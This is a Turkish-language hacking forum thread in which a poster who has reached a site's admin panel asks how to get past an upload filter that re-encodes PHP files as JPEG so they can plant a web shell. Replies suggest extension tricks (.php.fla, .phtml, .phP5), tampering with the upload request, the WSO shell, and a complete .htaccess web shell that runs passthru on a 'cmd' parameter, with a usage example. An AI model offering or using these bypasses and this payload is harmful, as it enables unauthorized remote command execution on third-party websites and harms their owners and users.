Nasıl bir bypassla shell yükleyebilirm

Sitenin admin paneline girdim php olarak dosya yükleyince kaynak kodu otomatik değişiyo ÿØÿàJFIFÿþ böyle birşey oluyor.

.pl falan yükleyince lscgid: execve(): çıkıyor

 

.php.fla yukle

 

.php.fla yukle

kaynak kodu jpg ye dönüşüyo gd-jpeg v1.0 tarzı birşey olmadı

 

tamperle veya http live ilr dene
birde aynisi olacak mi

 

tamperle veya http live ilr dene
birde aynisi olacak mi

Denedim sonuç değişmiyor

 

wso shelli .phtml olarak yukle

 

wso shelli .phtml olarak yukle

Olmuyor. ÿØÿàJFIFÿþ kaynak kodu böyle değişiyor.

 

su htaccessi upload etmeyi dene

<Files ~ "^\\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET[’cmd’]); ?>

kullanimi su sekilde:
site.com/.htaccess?cmd=ls gibi

 

.phP dene .phP5 dene

 

.php.fla yüklemeyi denedinmi

 

su htaccessi upload etmeyi dene

<Files ~ "^\\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET[’cmd’]); ?>

kullanimi su sekilde:
site.com/.htaccess?cmd=ls gibi

Yükleyince dosya adı değişiyor.

.phP dene .phP5 dene

Olmadı sunucu natro ondan sanırım.

.php.fla yüklemeyi denedinmi

Denedim